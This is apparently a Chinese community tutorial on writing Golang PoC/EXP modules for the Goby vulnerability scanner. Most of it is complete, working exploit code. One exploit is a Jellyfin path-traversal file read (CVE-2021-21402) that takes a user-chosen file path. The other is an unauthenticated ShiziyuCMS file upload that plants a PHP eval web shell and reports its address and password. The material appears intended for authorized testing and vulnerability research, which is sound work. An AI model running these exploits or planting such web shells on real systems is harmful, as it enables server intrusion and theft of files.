Goby社区第15 篇技术分享文章
前言:曾经大部分师傅都是使用的是 Goby 的 Json格式编写,Goby 开放 Golang 后, 补充了 Json 格式部分扩展性的不足,这篇文章就简单讲讲 Golang的 EXP/POC 的编写,帮助师傅们快速上手。
01
Golang 语言基础 :
https://www.runoob.com/go/go-tutorial.html
Goby 漏洞编写指南:
https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide
Goby 漏洞提交专版:
02
PoC 与 Goby POC 的对比
POC 使用 Python 编写
def POC_1(target_url): vuln_url = target_url + "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) if response.status_code == 200 and "file" in response.text and "extension" in response.text and "font" in response.text: print("\033[32m[o] 目标 {} 存在漏洞(读取 windows/win.ini), 链接为:{} \033[0m".format(target_url, vuln_url)) else: print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url)) except Exception as e: print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))
PoC 使用 Goby 框架编写
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" cfg := httpclient.NewGetRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]") } return false }
相比之下 Goby 中的验证框架 编写者只需要填入漏洞字段、请求头以及响应判断即可,减少了代码编写量和验证所花费的时间。
最重要的一点则是测试过程中涉及的资产一般是很多的,在不清楚目标指纹的一些情况下,盲目使用 PoC 对多个目标验证是没有很多意义的。
而在Goby 中编写 EXP 则拥有对多个目标的指纹识别以及拥有扩展性的 EXP 编写,可以在多个资产中准确定位漏洞点,减少发现突破点的时间和精力。
03
编写介绍
3.1 漏洞描述字段
这里使用官方的模板简单了解下几个漏洞描述字段的填写。
package exploits
import ( "git.gobies.org/goby/goscanner/goutils")
func init() { expJson := `{ "Name": "", "Description": "", "Product": "", "Homepage": "", "DisclosureDate": "2021-05-27", "Author": "", "FofaQuery": "", "Level": "", "Impact": "", "Recommendation": "", "References": [ "http://fofa.so" ], "HasExp": false, "ExpParams": null, "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "data": "", "data_type": "text", "follow_redirect": true, "method": "GET", "uri": "/" }, "ResponseTest": { "checks": [ { "bz": "", "operation": "==", "type": "item", "value": "200", "variable": "$code" } ], "operation": "AND", "type": "group" } } ], "ExploitSteps": null, "Tags": null, "CVEIDs": null, "CVSSScore": "0.0", "AttackSurfaces": { "Application": null, "Support": null, "Service": null, "System": null, "Hardware": null }}`
ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, nil, nil, ))}
名称 | 含义 |
Name | 漏洞名称,例如: xxx OA xxx.php RCE (需要注意的是整个 EXP 中是不允许出现中文的,以下字段同样) |
Description | 漏洞描述,例如: The attacker can obtain the sensitive information of the server through directory traversal |
Product | 漏洞对应产品,例如: xxx OA |
Homepage | 漏洞对用产品的主页,例如: http://www.xxx.com |
DisclosureDate | 漏洞披露时间,格式为 yyyy-mm-dd,例如: 2021-05-17 |
Author | PoC & Exp 作者, 例如: PeiQi |
GobyQuery | 漏洞对应产品的资产查询规则, 例如: app="xxx OA" (这里的指纹并不是FOFA的指纹,而是Goby识别的指纹) |
Level | 漏洞等级,0 代表低危、1 代表中卫、2 代表高危、3 代表严重 |
Impact | 漏洞产生的影响 |
Recommendation | 漏洞修复建议 |
References | 漏洞参考链接 |
HasExp | 是否录入 Exp,值为 true 或 false (打开EXP模式) |
ExpParams | Exp 需要传入的参数 |
ScanSteps | JSON 格式定义漏洞 PoC 逻辑 |
ExploitSteps | JSON 格式定义漏洞 Exp 逻辑 |
Tags | 漏洞类型,值为 rce(远程代码执行)、fileread(文件读取)、sqli(SQL 注入)、defaultaccount(默认口令)、infoleak(信息泄露) |
CVEIDs | CVE 漏洞编号,格式为 ["CVE-2021-0001", "CVE-2021-1000"] |
CVSSScore | CVSS 漏洞评分 |
AttackSurfaces | 漏洞对应产品的系统层级,如 GitLab 是一个 Web 应用,填到 Application 层;Struts2 是一个 Web 开发框架,填到 Support 层;Tomcat 是 Web 服务程序,填到 Service 层;Ubuntu 是操作系统,填到 System 层;FUJI-XEROX-Printer 是打印机,填到 Hardware 层 |
其中需要重点填写的参数为:GobyQuery , HasExp, ExpParams
例如 Goby 扫描出的指纹为下图, 则 GobyQuery 填入: ("GobyQuery": "app=\"kingdee-EAS\"")
注: 语句中 " 是需要转义的,即 \"
3.2 goby-cmd.exe 验证
# 使用 CVE 编号获取漏洞数据并自动填写到漏洞模板,若没有 CVEID 可省略./goby-cmd -mode genpoc -CVEID CVE-2021-21380 -exportFile a.go# 支持通过代理获取漏洞数据./goby-cmd -mode genpoc -CVEID CVE-2021-21380 -exportFile a.go -proxy http://127.0.0.1:1080
# 运行已经编写完成的漏洞文件,使用 PoC 扫描./goby-cmd -mode runpoc -operation scan -pocFile exploits\user\a.go -target 127.0.0.1# 运行已经编写完成的漏洞文件,执行 Exp 利用,并传递 cmd 参数的值./goby-cmd -mode runpoc -operation exploit -pocFile exploits\user\a.go -target 127.0.0.1 -params '{"cmd":"whoami"}'
04
漏洞编写
4.1 任意文件读取漏洞编写
goby-cmd -mode genpoc -CVEID CVE-2021-21402 -exportFile exploits\user\Jellyfin_Audio_File_read_CVE_2021_21402.go
通过扫描获取目标的 Goby 指纹。
"GobyQuery": "title=\"Jellyfin\"",
package exploits
import ( "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "strings" "fmt")
func init() { expJson := `{ "Name": "Jellyfin Audio File read (CVE-2021-21402)", "Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.", "Product": "Jellyfin", "Homepage": "https://jellyfin.org/", "DisclosureDate": "2021-03-23", "Author": "PeiQi", "GobyQuery": "title=\"Jellyfin\"", "Level": "2", "Impact": "fileread", "Recommendation": "Update patches in time", "References": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402", "RealReferences": [ "https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7", "https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1", "https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx", "https://nvd.nist.gov/vuln/detail/CVE-2021-21402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402" ], "HasExp": null, "ExpParams": null, "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "data": "", "data_type": "text", "follow_redirect": true, "method": "GET", "uri": "/" }, "ResponseTest": { "checks": [ { "bz": "", "operation": "==", "type": "item", "value": "200", "variable": "$code" } ], "operation": "AND", "type": "group" } } ], "ExploitSteps": null, "Tags": ["File read"], "CVEIDs": [ "CVE-2021-21402" ], "CVSSScore": "6.5", "AttackSurfaces": { "Application": ["Jellyfin"], "Support": null, "Service": null, "System": null, "Hardware": null }, "Disable": false}`
gopoc.ExpManager.AddExploit(gopoc.NewExploit( goutils.GetFileName(), expJson, nil, nil, ))}
接下来需要编写 PoC 字段,首先我们需要知道漏洞的发包逻辑。
这个漏洞我们得知需要的请求为。
GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
其中 PoC & EXP 主要代码模块模板如下:
ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { return false }, func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { return expResult }, ))
这里通过已经填写好的 PoC 来了解参数字段。
根据上面的请求包也可以发现 uri 为漏洞请求,而 cfg 则用于 header 头等配置的添加。
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" cfg := httpclient.NewGetRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]") } return false },
名称 | 含义 |
uri | 请求漏洞点的访问路径 |
httpclient.NewGetRequestConfig | 发送 GET 请求 |
httpclient.NewPostRequestConfig | 发送 POST 请求 |
cfg.VerifyTls | 忽略证书,常用字段 |
cfg.FollowRedirect | 不跟随网页跳转 |
cfg.Header.Store | 添加请求头,如 Content-type 等 |
cfg.Data | POST 请求传输的数据 例如 cfg.Data = "Data" |
httpclient.DoHttpRequest(u, cfg) | 通过填写的 cfg uri 发送定义的请求 |
resp.StatusCode | 发送请求返回的响应码 |
resp.Utf8Html | 发送请求返回的响应 |
resp.Heade.Get("Cookie") | 获取发送请求返回的响应中的Cookie字段 |
其中用于判断漏洞是否存在的代码为
return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]")
goby-cmd.exe -mode runpoc -operation scan -pocFile exploits\user\Jellyfin_Audio_File_read_CVE_2021_21402.go -target http://xxx.xxx.xxx.xxx
"HasExp": true,"ExpParams": [ { "name": "File", "type": "input", "value": "windows/win.ini" }],
名称 | 含义 |
HasExp | 设置为 true 则为开启 EXP模块 |
"type": "input" | 用户手动输出 payload |
"type": "select" | 用户允许在几个选择中发送特定的payload |
"value": "windows/win.ini" | EXP验证中的默认字段设置 |
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { file := ss.Params["File"].(string) file = strings.Replace(file, "/", "\\", -1) file = url.QueryEscape(file) uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5C" + file + "/stream.mp3/" cfg := httpclient.NewGetRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 { expResult.Output = resp.Utf8Html expResult.Success = true } } return expResult},
// 注意一些模块导入时 需要在 import中添加相应的包// "net/url" Url编码// "strings" 字符处理// "fmt" 字符输出// "regexp" 正则匹配
名称 | 含义 |
file := ss.Params["File"].(string) | 获取 File 参数的字段 |
file = url.QueryEscape(file) | Url 编码字符 |
fmt.Println(file) | 编写中用于调试脚本输出字符,完成后删除 |
httpclient.DoHttpRequest(expResult.HostInfo, cfg) | 发送 EXP 请求包 |
expResult.Output = resp.Utf8Html | 返回响应内容 |
expResult.Success = true | 表示成功验证漏洞 |
完整的 EXP 如下:
package exploits
import ( "fmt" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "net/url" "strings")
func init() { expJson := `{ "Name": "Jellyfin Audio File read (CVE-2021-21402)", "Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.", "Product": "Jellyfin", "Homepage": "https://jellyfin.org/", "DisclosureDate": "2021-03-23", "Author": "PeiQi", "GobyQuery": "title=\"Jellyfin\"", "Level": "2", "Impact": "fileread", "Recommendation": "Update patches in time", "References": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402", "RealReferences": [ "https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7", "https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1", "https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx", "https://nvd.nist.gov/vuln/detail/CVE-2021-21402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21402" ], "HasExp": true, "ExpParams": [ { "name": "File", "type": "input", "value": "windows/win.ini" } ], "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "data": "", "data_type": "text", "follow_redirect": true, "method": "GET", "uri": "/" }, "ResponseTest": { "checks": [ { "bz": "", "operation": "==", "type": "item", "value": "200", "variable": "$code" } ], "operation": "AND", "type": "group" } } ], "ExploitSteps": null, "Tags": ["File read"], "CVEIDs": [ "CVE-2021-21402" ], "CVSSScore": "6.5", "AttackSurfaces": { "Application": ["Jellyfin"], "Support": null, "Service": null, "System": null, "Hardware": null }, "Disable": false}`
ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" cfg := httpclient.NewGetRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "[extensions]") && strings.Contains(resp.Utf8Html, "[fonts]") } return false }, func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { file := ss.Params["File"].(string) file = strings.Replace(file, "/", "\\", -1) file = url.QueryEscape(file) uri := "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5C" + file + "/stream.mp3/" cfg := httpclient.NewGetRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 { expResult.Output = resp.Utf8Html expResult.Success = true } } return expResult }, ))}
if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 { expResult.Output = resp.Utf8Html expResult.Success = true } }
4.2 任意文件上传漏洞编写
这里使用 狮子鱼CMS wxapp.php 任意文件上传漏洞 演示,完整的 EXP 为 (敏感部分已脱敏) :
package exploits
import ( "crypto/md5" "fmt" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "regexp" "strings")
func init() { expJson := `{ "Name": "ShiziyuCms wxapp.php File update", "Description": "ShiziyuCms wxapp.php File update,Attackers can upload malicious files without authentication", "Product": "ShiziyuCms", "Homepage": "https://shiziyu.cc/", "DisclosureDate": "2021-03-23", "Author": "PeiQi", "GobyQuery": "body=\"/seller.php?s=/Public/login\"", "Level": "3", "Impact": "File upload", "Recommendation": "Update patches in time", "References": "http://wiki.peiqi.tech/", "RealReferences": [ "http://wiki.peiqi.tech/PeiQi_Wiki" ], "HasExp": true, "ExpParams": null, "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": null, "ExploitSteps": null, "Tags": ["File update"], "CVEIDs": null, "CVSSScore": "0.0", "AttackSurfaces": { "Application": ["ShiziyuCms"], "Support": null, "Service": null, "System": null, "Hardware": null }, "Disable": false}`
ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { randomStr := goutils.RandomHexString(8) uri := "/wxapp.php?controller=[redacted]" cfg := httpclient.NewPostRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs") cfg.Data = "------WebKitFormBoundary8UaANmWAgM4BqBSs\r\nContent-Disposition: form-data; name=\"[redacted]\"; filename=\"test.php\"\r\nContent-Type: image/gif\r\n\r\n<?php echo md5('" + randomStr + "');unlink(__FILE__);?>\r\n------WebKitFormBoundary8UaANmWAgM4BqBSs-" if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "image_o"){ addr := regexp.MustCompile(`\\/Uploads(.*?).php`).FindAllString(resp.Utf8Html, 2)[1] addr = strings.Replace(addr, "\\/", "/", -1) cfg_1 := httpclient.NewGetRequestConfig(addr) cfg_1.VerifyTls = false cfg_1.FollowRedirect = false if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil { return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, fmt.Sprintf("%x", md5.Sum([]byte(randomStr)))) } } } return false }, func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { randomStr := goutils.RandomHexString(8) uri := "/wxapp.php?controller=[redacted]" cfg := httpclient.NewPostRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs") cfg.Data = "------WebKitFormBoundary8UaANmWAgM4BqBSs\r\nContent-Disposition: form-data; name=\"[redacted]\"; filename=\"test.php\"\r\nContent-Type: image/gif\r\n\r\n<?php @eval($_REQUEST['" + randomStr + "']);?>\r\n------WebKitFormBoundary8UaANmWAgM4BqBSs-" if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "image_o"){ addr := regexp.MustCompile(`\\/Uploads(.*?).php`).FindAllString(resp.Utf8Html, 2)[1] addr = strings.Replace(addr, "\\/", "/", -1) expResult.Output = "Webshell Addr: " + expResult.HostInfo.FixedHostInfo + addr + "\r\n\r\nWebshell Pass: " + randomStr expResult.Success = true } } return expResult }, ))}
这里注意几个需要注意的代码
名称 | 含义 |
randomStr := goutils.RandomHexString(8) | 随机生成 8位 字符串 |
<?php echo md5('" + randomStr + "');unlink(__FILE__);?> | 上传输出随机 MD5 值的文件,访问后自动删除 |
expResult.Output = "xxx" + "xxx" | 其中自定义 webshell路径,webshell密码的输出语句 |
EXP 使用效果如下
05
总结
Goby 中使用 Golang 语言作为漏洞验证,扩展性相对于 Json 扩展性更高,这里只是对于新手而言快速了解 EXP 的写法和请求参数
至于更多的玩法可以参考 Goby 的 WIKI:
https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide
更多 >> 打野手册
如果表哥/表姐也想把自己上交给社区(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写等文章均可),欢迎投稿到我们公众号,红队专版等着你们~~~